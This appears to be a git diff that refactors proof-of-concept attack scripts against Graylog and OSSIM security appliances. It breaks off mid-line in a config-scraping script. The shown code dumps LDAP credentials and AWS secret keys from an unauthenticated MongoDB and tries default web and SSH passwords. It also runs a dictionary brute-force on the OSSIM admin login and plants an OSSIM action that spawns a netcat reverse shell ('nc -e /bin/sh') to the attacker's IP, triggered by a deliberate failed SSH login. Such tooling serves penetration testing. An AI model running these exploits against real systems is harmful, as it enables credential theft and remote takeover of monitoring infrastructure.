b/poc/graylog/obtainmongodbcredentials.py @@ -2,60 +2,84 @@ # Graylog Test Connection to MongoDB without Authentication and Read Sensitive Information -#%%%%%%%%%%% Libraries %%%%%%%%%%%# +# %%%%%%%%%%% Libraries %%%%%%%%%%%# import colorama -colorama.init() +import logging +import nmap from colorama import Fore, Style from pymongo import MongoClient from pymongo.errors import ConnectionFailure -#%%%%%%%%%%% Constants %%%%%%%%%%%# +colorama.init() + +# %%%%%%%%%%% Constants %%%%%%%%%%%# + +SEPARATOR = "[*] {0} [*]".format('=' * 110) +MONGODB_PORT = 27017 + +# %%%%%%%%%% Functions %%%%%%%%%# + +def test_mongo_credentials(graylogip): + + nm = nmap.PortScanner() + + try: + nm.scan(hosts = graylogip, arguments = '-sT -T4 -p 27017') -separator = "[*] ============================================================================================================== [*]" + if nm[graylogip]['tcp'][MONGODB_PORT]['state'] == 'open': -#%%%%%%%%%% Functions %%%%%%%%%# + try: + client = MongoClient(graylogip, MONGODB_PORT) + db = client.graylog + print(SEPARATOR) + print(Fore.RED + Style.BRIGHT + "[!] Mongo DB without Authentication" + Style.RESET_ALL) + print(SEPARATOR) + print("[!] LDAP Settings") + print(SEPARATOR) -def testmongocredentials(graylogip): + ldapusername = list(db.ldap_settings.find({}, {'system_username': 1, '_id': 0})) + ldappass = list(db.ldap_settings.find({}, {'system_password': 1, '_id': 0})) + ldapsalt = list(db.ldap_settings.find({}, {'system_password_salt': 1, '_id': 0})) + ldapuri = list(db.ldap_settings.find({}, {'ldap_uri': 1, '_id': 0})) - try: - client = MongoClient(graylogip, 27017) - db = client.graylog - print(separator) - print(Fore.RED+Style.BRIGHT+"[!] Mongo DB without Authentication"+Style.RESET_ALL) - print(separator) - print("[!] LDAP Settings") - print(separator) + print("[!] " + (str(ldapusername)).strip(' [{}]')) + print("[!] " + (str(ldappass)).strip(' [{}]')) + print("[!] " + (str(ldapsalt)).strip(' [{}]')) + print("[!] " + (str(ldapuri)).strip(' [{}]')) - ldapusername = list(db.ldap_settings.find({},{'system_username': 1,'_id':0})) - ldappass = list(db.ldap_settings.find({}, {'system_password': 1, '_id': 0})) - ldapsalt = list(db.ldap_settings.find({}, {'system_password_salt': 1, '_id': 0})) - ldapuri = list(db.ldap_settings.find({}, {'ldap_uri': 1, '_id': 0})) + print(SEPARATOR) + print( + "[!] LDAP Password Encrypted with AES CBC, Key is Graylog PasswordSecret and IV" + " is the Salt") - print("[!] " + (str(ldapusername)).strip(' [{}]')) - print("[!] " + (str(ldappass)).strip(' [{}]')) - print("[!] " + (str(ldapsalt)).strip(' [{}]')) - print("[!] " + (str(ldapuri)).strip(' [{}]')) + awsaccesskey = list( + db.cluster_config.find({'type': 'org.graylog.aws.config.AWSPluginConfiguration'}, + {'payload.access_key': 1, '_id': 0})) + accesskey = str(awsaccesskey).replace('payload', '').strip('[{}]').replace("'': {", '') + awssecretkey = list( + db.cluster_config.find({'type': 'org.graylog.aws.config.AWSPluginConfiguration'}, + {'payload.secret_key': 1, '_id': 0})) + secretkey = str(awssecretkey).replace('payload', '').strip('[{}]').replace("'': {", '') - print(separator) - print("[!] LDAP Password Encrypted with AES CBC, Key is Graylog PasswordSecret and IV is the Salt") + print(SEPARATOR) + print("[!] AWS Access Key and Secret Key") + print(SEPARATOR) + print("[!] " + accesskey) + print("[!] " + secretkey) + print(SEPARATOR) - awsaccesskey = list(db.cluster_config.find({'type':'org.graylog.aws.config.AWSPluginConfiguration'},{'payload.access_key':1,'_id':0})) - accesskey = str(awsaccesskey).replace('payload','').strip('[{}]').replace("'': {",'') - awssecretkey = list(db.cluster_config.find({'type': 'org.graylog.aws.config.AWSPluginConfiguration'},{'payload.secret_key': 1, '_id': 0})) - secretkey = str(awssecretkey).replace('payload', '').strip('[{}]').replace("'': {", '') + except ConnectionFailure: + print(SEPARATOR) + print("[!] Problem with MongoDB Authentication") + print(SEPARATOR) - print(separator) - print("[!] AWS Access Key and Secret Key") - print(separator) - print("[!] " + accesskey) - print("[!] " + secretkey) - print(separator) + else: + print(SEPARATOR) + print("[!] MongoDB port is closed or unreachable") + print(SEPARATOR) - except ConnectionFailure: - print(separator) - print("[!] Problem with MongoDB Authentication") - print(separator) - pass + except Exception as e: + logging.error(e, exc_info = True) -#%%%%%%%%%% The End %%%%%%%%%%# +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/graylog/testcredentialsgraylog.py b/poc/graylog/testcredentialsgraylog.py index 27a598a..f5a78b1 100755 --- a/poc/graylog/testcredentialsgraylog.py +++ b/poc/graylog/testcredentialsgraylog.py @@ -4,47 +4,48 @@ #%%%%%%%%%%% Libraries %%%%%%%%%%%# -import requests import colorama -colorama.init() -from colorama import Fore, Style +import json +import logging import paramiko +import requests import urllib3 +from colorama import Fore, Style + +colorama.init() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -import json #%%%%%%%%%%% Constants %%%%%%%%%%%# -separator = "[*] ============================================================================================================== [*]" +SEPARATOR = "[*] {0} [*]".format('=' * 110) #%%%%%%%%%% Functions %%%%%%%%%# -def testwebcredentials(graylogip): +def test_web_credentials(graylogip): url = "http://"+graylogip+":9000/api/system/sessions" - params = {'username':'admin','password':'admin','host':graylogip} #default web interface credentials + params = {'username':'admin','password':'admin','host':graylogip} #default web interface creds headers = {'X-Requested-By': 'XMLHttpRequest'} try: response = requests.post(url, json=params, headers=headers, verify=False) if response.status_code == 200: - print(separator) + print(SEPARATOR) print("[!] Graylog Web Interface Default Credentials Found!") - print(separator) + print(SEPARATOR) print("[!] Username: "+Fore.RED+Style.BRIGHT+"admin") print(Style.RESET_ALL + "[!] Password: "+Fore.RED+Style.BRIGHT+"admin") - print(Style.RESET_ALL + separator) + print(Style.RESET_ALL + SEPARATOR) else: - print(separator) + print(SEPARATOR) print("[!] Graylog Web Interface Default Credentials Not Found, Try Bruteforce Module") - print(separator) + print(SEPARATOR) except Exception as e: - print(e) - pass + logging.error(e, exc_info=True) -def testsshcredentials(graylogip): +def test_ssh_credentials(graylogip): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) @@ -52,15 +53,15 @@ def testsshcredentials(graylogip): try: ssh.connect(graylogip, username='ubuntu', password='ubuntu') print("[!] Graylog SSH Default Credentials Found!") - print(separator) + print(SEPARATOR) print("[!] Username: " + Fore.RED + Style.BRIGHT + "ubuntu") print(Style.RESET_ALL + "[!] Password: " + Fore.RED + Style.BRIGHT + "ubuntu") - print(Style.RESET_ALL + separator) + print(Style.RESET_ALL + SEPARATOR) except paramiko.AuthenticationException: - print(separator) + print(SEPARATOR) print("[!] Graylog SSH Default Credentials Not Found") - print(separator) + print(SEPARATOR) pass #%%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/ossim/bruteforceossim.py b/poc/ossim/bruteforceossim.py index 1646db8..32eb7b0 100755 --- a/poc/ossim/bruteforceossim.py +++ b/poc/ossim/bruteforceossim.py @@ -2,57 +2,60 @@ # OSSIM Login Bruteforce -#%%%%%%%%%%% Libraries %%%%%%%%%%%# +# %%%%%%%%%%% Libraries %%%%%%%%%%%# -import os import base64 +import logging +import os import requests +import urllib3 from colorama import Fore, Style from colorama import init + init() -import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -#%%%%%%%%%%% Constants %%%%%%%%%%%# +# %%%%%%%%%%% Constants %%%%%%%%%%%# -separator = "[*] ============================================================================================================== [*]" +SEPARATOR = "[*] {0} [*]".format('=' * 110) -#%%%%%%%%%% Functions %%%%%%%%%# +# %%%%%%%%%% Functions %%%%%%%%%# -def ossimbrute(ossimip): +def ossim_brute(ossimip): - url = "https://"+ossimip+"/ossim/session/login.php" - __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) - file = open(os.path.join(__location__, 'dict.txt')) - successurl = "https://"+ossimip+"/ossim/" - bruteforceresult = 0 + url = "https://" + ossimip + "/ossim/session/login.php" + __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) + file = open(os.path.join(__location__, 'dict.txt')) + successurl = "https://" + ossimip + "/ossim/" + bruteforceresult = 0 - for line in file: - ossimpassword = line.strip('\n\r') - ossimpasswordb64 = base64.b64encode(ossimpassword.encode("utf-8")) - base64string = str(ossimpasswordb64, "utf-8") - params = {'embed':'','bookmark_string':'','user':'admin','passu':ossimpassword,'pass':base64string} + for line in file: - try: - response = requests.post(url,params=params,verify=False) + ossimpassword = line.strip('\n\r') + ossimpasswordb64 = base64.b64encode(ossimpassword.encode("utf-8")) + base64string = str(ossimpasswordb64, "utf-8") + params = {'embed': '', 'bookmark_string': '', 'user': 'admin', 'passu': ossimpassword, + 'pass': base64string} - if (response.status_code == 302 or response.url == successurl): - print(separator) - print("[!] Dictionary Attack Successful!") - print(separator) - print("[!] Username: "+Fore.RED+Style.BRIGHT+"admin") - print(Style.RESET_ALL + "[!] Password: "+Fore.RED+Style.BRIGHT+ossimpassword) - print(Style.RESET_ALL + separator) - bruteforceresult = 1 - break + try: + response = requests.post(url, params = params, verify = False) - except Exception as e: - pass + if response.status_code == 302 or response.url == successurl: + print(SEPARATOR) + print("[!] Dictionary Attack Successful!") + print(SEPARATOR) + print("[!] Username: " + Fore.RED + Style.BRIGHT + "admin") + print(Style.RESET_ALL + "[!] Password: " + Fore.RED + Style.BRIGHT + ossimpassword) + print(Style.RESET_ALL + SEPARATOR) + bruteforceresult = 1 + break - if (not bruteforceresult): - print(separator) - print("[!] Dictionary Attack Not Successful") - print(separator) + except Exception as e: + logging.error(e, exc_info = True) -#%%%%%%%%%% The End %%%%%%%%%%# + if not bruteforceresult: + print(SEPARATOR) + print("[!] Dictionary Attack Not Successful") + print(SEPARATOR) +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/ossim/maliciousaction.py b/poc/ossim/maliciousaction.py index b6fb1f4..bb131b3 100755 --- a/poc/ossim/maliciousaction.py +++ b/poc/ossim/maliciousaction.py @@ -2,107 +2,131 @@ # OSSIM Obtain Reverse Shell from Malicious Action -#%%%%%%%%%%% Libraries %%%%%%%%%%%# +# %%%%%%%%%%% Libraries %%%%%%%%%%%# import base64 +import getpass +import logging +import paramiko +import re import requests +import urllib3 from colorama import Fore, Style from colorama import init + init() -import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -import getpass -import paramiko -import re -#%%%%%%%%%%% Constants %%%%%%%%%%%# +# %%%%%%%%%%% Constants %%%%%%%%%%%# + +SEPARATOR = "[*] {0} [*]".format('=' * 110) + +# %%%%%%%%%% Functions %%%%%%%%%# -separator = "[*] ============================================================================================================== [*]" +def create_policy(ossimip): -#%%%%%%%%%% Functions %%%%%%%%%# + authurl = "https://" + ossimip + "/ossim/session/login.php" + actionurl = "https://" + ossimip + "/ossim/action/modifyactions.php" + getactionurl = "https://" + ossimip + "/ossim/action/getaction.php" + getctxurl = "https://" + ossimip + \ + "/ossim/policy/policy.php?m_opt=configuration&sm_opt=threat_intelligence" + policyurl = "https://" + ossimip + "/ossim/policy/newpolicy.php" + reloadurl = "https://" + ossimip + "/ossim/conf/reload.php?what=policies&back=..%2Fpolicy" \ + "%2Fpolicy.php" + ossimpass = getpass.getpass( + Fore.CYAN + Style.BRIGHT + "[!] Enter OSSIM Admin Password: " + Style.RESET_ALL) + localIP = input("[!] Enter your local IP address: ") + actionid = '' + ctxfinal = '' -def createpolicy(ossimip): + ossimpasswordb64 = base64.b64encode(ossimpass.encode("utf-8")) + base64string = str(ossimpasswordb64, "utf-8") + paramsauth = {'embed': '', 'bookmark_string': '', 'user': 'admin', 'passu': ossimpass, + 'pass': base64string} + netcatcommand = "nc+-e+%2Fbin%2Fsh+" + localIP + "+12345" # netcat reverse shell + paramsaction = "id=&action=new&old_name=&action_name=testossim&old_descr=&descr=testossim" \ + "&action_type=2&only=on&cond=True&email_from=&email_to=&email_subject" \ + "=&email_message=&exec_command=" + netcatcommand + "&transferred_user=" - authurl = "https://"+ossimip+"/ossim/session/login.php" - actionurl = "https://"+ossimip+"/ossim/action/modifyactions.php" - getactionurl = "https://"+ossimip+"/ossim/action/getaction.php" - getctxurl = "https://"+ossimip+"/ossim/policy/policy.php?m_opt=configuration&sm_opt=threat_intelligence" - policyurl = "https://"+ossimip+"/ossim/policy/newpolicy.php" - reloadurl = "https://"+ossimip+"/ossim/conf/reload.php?what=policies&back=..%2Fpolicy%2Fpolicy.php" - ossimpass = getpass.getpass(Fore.CYAN+Style.BRIGHT+"[!] Enter OSSIM Admin Password: "+Style.RESET_ALL) - localIP = input("[!] Enter your local IP address: ") - actionid = '' - ctxfinal = '' + try: + s = requests.Session() + s.post(authurl, data = paramsauth, verify = False) + s.headers.update({'Content-Type': 'application/x-www-form-urlencoded'}) - ossimpasswordb64 = base64.b64encode(ossimpass.encode("utf-8")) - base64string = str(ossimpasswordb64, "utf-8") - paramsauth = {'embed':'','bookmark_string':'','user':'admin','passu':ossimpass,'pass':base64string} - #bashcommand = "bash+-i+%3E%26+%2Fdev%2Ftcp%2F"+localIP+"%2F12345+0%3E%261" #bash reverse shell - netcatcommand = "nc+-e+%2Fbin%2Fsh+"+localIP+"+12345" #netcat reverse shell - paramsaction = "id=&action=new&old_name=&action_name=testossim&old_descr=&descr=testossim&action_type=2&only=on&cond=True&email_from=&email_to=&email_subject=&email_message=&exec_command="+netcatcommand+"&transferred_user=" + print(SEPARATOR) + print("[!] Start a listener in port 12345, for example nc -lvp 12345") + print(SEPARATOR) - try: - s = requests.Session() - s.post(authurl, data=paramsauth, verify=False) - s.headers.update({'Content-Type': 'application/x-www-form-urlencoded'}) + action = s.post(actionurl, data = paramsaction, verify = False) - print(separator) - print("[!] Start a listener in port 12345, for example nc -lvp 12345") - print(separator) + if action.status_code == 200 and "Action successfully updated" in action.text: - action = s.post(actionurl, data=paramsaction, verify=False) + actions = s.post(getactionurl, + data = "page=1&rp=20&sortname=descr&sortorder=asc&query=&qtype=", + verify = False) + rows = actions.text.split('<") + actionid = str(newrow[0]).replace("'", "") + print("[!] OSSIM Reverse Shell Action Created with ID " + actionid) - else: - print("[!] Error creating the OSSIM Reverse Shell Action") + ctx = s.get(getctxurl, verify = False) + policyctx = re.findall(r'getpolicy\.php\?ctx=(.*?)&group', ctx.text) + ctxfinal = str(policyctx[0]) + print("[!] OSSIM Policies CTX Obtained " + ctxfinal) - if (actionid != '' and ctxfinal != ''): - paramspolicy = "descr=testossim&active=1&group=00000000000000000000000000000000&ctx="+ctxfinal+"&order=0&action=new&sources%5B%5D=00000000000000000000000000000000&filterc=&dests%5B%5D=&filterd=&portsrc%5B%5D=0&portdst%5B%5D=0&plug_type=0&plugins%5B0%5D=on&tax_pt=0&tax_cat=0&tax_subc=0&mboxs%5B%5D=00000000000000000000000000000000&rep_act=0&rep_sev_lem=equal&rep_sev=1&rep_rel_lem=equal&rep_rel=1&rep_dir=1&ev_sev_lem=equal&ev_sev=1&ev_rel_lem=equal&ev_rel=1&tzone=US%2FCentral&date_type=1&begin_hour=0&begin_minute=0&begin_day_week=1&begin_day_month=1&begin_month=1&end_hour=23&end_minute=59&end_day_week=7&end_day_month=31&end_month=12&actions%5B%5D="+actionid+"&sim=1&priority=-1&qualify=1&correlate=1&cross_correlate=1&store=1" - policy = s.post(policyurl, data=paramspolicy, verify=False) + else: + print("[!] Error creating the OSSIM Reverse Shell Action") - if (policy.status_code == 200 and "Policy successfully inserted" in policy.text): - print("[!] OSSIM New Policy Created") - reload = s.get(reloadurl, verify=False) + if actionid != '' and ctxfinal != '': - if (reload.status_code == 200 and "Reload completed successfully" in reload.text): - print("[!] Policies Reloaded and Applied") - generatesshevent(ossimip) + paramspolicy = "descr=testossim&active=1&group=00000000000000000000000000000000&ctx=" \ + + ctxfinal + \ + "&order=0&action=new&sources%5B%5D=00000000000000000000000000000000" \ + "&filterc=&dests%5B%5D=&filterd=&portsrc%5B%5D=0&portdst%5B%5D=0" \ + "&plug_type=0&plugins%5B0%5D=on&tax_pt=0&tax_cat=0&tax_subc=0&mboxs%5B" \ + "%5D=00000000000000000000000000000000&rep_act=0&rep_sev_lem=equal" \ + "&rep_sev=1&rep_rel_lem=equal&rep_rel=1&rep_dir=1&ev_sev_lem=equal" \ + "&ev_sev=1&ev_rel_lem=equal&ev_rel=1&tzone=US%2FCentral&date_type=1" \ + "&begin_hour=0&begin_minute=0&begin_day_week=1&begin_day_month=1" \ + "&begin_month=1&end_hour=23&end_minute=59&end_day_week=7&end_day_month" \ + "=31&end_month=12&actions%5B%5D=" + actionid + \ + "&sim=1&priority=-1&qualify=1&correlate=1&cross_correlate=1&store=1" - else: - print("[!] Error creating the OSSIM New Policy") + policy = s.post(policyurl, data = paramspolicy, verify = False) - except Exception as e: - pass + if policy.status_code == 200 and "Policy successfully inserted" in policy.text: -def generatesshevent(ossimip): + print("[!] OSSIM New Policy Created") + reload = s.get(reloadurl, verify = False) - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + if reload.status_code == 200 and "Reload completed successfully" in reload.text: + print("[!] Policies Reloaded and Applied") + generate_ssh_event(ossimip) - try: - ssh.connect(ossimip, username='root', password='0ss1mr4nd0mp4ssw0rd') #wrong password to generate failed ssh login event + else: + print("[!] Error creating the OSSIM New Policy") - except paramiko.AuthenticationException: - print(separator) - print("[!] SSH Failed Login Event Generated") - print(Fore.RED + Style.BRIGHT + "[!] Reverse Shell Ready") - print(Style.RESET_ALL + separator) - pass + except Exception as e: + logging.error(e, exc_info = True) -#%%%%%%%%%% The End %%%%%%%%%%# +def generate_ssh_event(ossimip): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + ssh.connect(ossimip, username = 'root', password = '0ss1mr4nd0mp4ssw0rd') + + except paramiko.AuthenticationException: + print(SEPARATOR) + print("[!] SSH Failed Login Event Generated") + print(Fore.RED + Style.BRIGHT + "[!] Reverse Shell Ready") + print(Style.RESET_ALL + SEPARATOR) + pass + +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/ossim/obtainconfigossim.py b/poc/ossim/obtainconfigossim.py index c4aa92f..26a8521 100755 --- a/poc/ossim/obtainconfigossim.py +++ b/poc/ossim/obtainconfigossim.py @@ -2,96 +2,98 @@ # OSSIM Obtain Configuration Information -#%%%%%%%%%%% Libraries %%%%%%%%%%%# +# %%%%%%%%%%% Libraries %%%%%%%%%%%# import base64 +import getpass +import logging +import pandas +import re import requests +import urllib3 from colorama import Fore, Style from colorama import init + init() -import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -import re -import pandas -import getpass - -#%%%%%%%%%%% Constants %%%%%%%%%%%# - -separator = "[*] ============================================================================================================== [*]" - -#%%%%%%%%%% Functions %%%%%%%%%# -def ossimconfig(ossimip): +# %%%%%%%%%%% Constants %%%%%%%%%%%# - authurl = url = "https://"+ossimip+"/ossim/session/login.php" - url = "https://"+ossimip+"/ossim/conf/index.php?m_opt=configuration&sm_opt=administration&h_opt=main" - usersurl = "https://"+ossimip+"/ossim/session/getusers.php" - ossimpass = getpass.getpass(Fore.CYAN+Style.BRIGHT+"[!] Enter OSSIM Admin Password: "+Style.RESET_ALL) +SEPARATOR = "[*] {0} [*]".format('=' * 110) - ossimpasswordb64 = base64.b64encode(ossimpass.encode("utf-8")) - base64string = str(ossimpasswordb64, "utf-8") - params = {'embed':'','bookmark_string':'','user':'admin','passu':ossimpass,'pass':base64string} +# %%%%%%%%%% Functions %%%%%%%%%# - try: - s = requests.Session() - auth = s.post(authurl,data=params,verify=False) - admin = s.get(url, verify=False) - users = s.post(usersurl, verify=False) +def ossim_config(ossimip): - print(separator) - print("[!] OSSIM Users, Emails and Company") - print(separator) + authurl = url = "https://" + ossimip + "/ossim/session/login.php" + url = "https://" + ossimip + "/ossim/conf/index.php?m_opt=configuration&sm_opt=administration" \ + "&h_opt=main" + usersurl = "https://" + ossimip + "/ossim/session/getusers.php" + ossimpass = getpass.getpass( + Fore.CYAN + Style.BRIGHT + "[!] Enter OSSIM Admin Password: " + Style.RESET_ALL) - items = re.findall('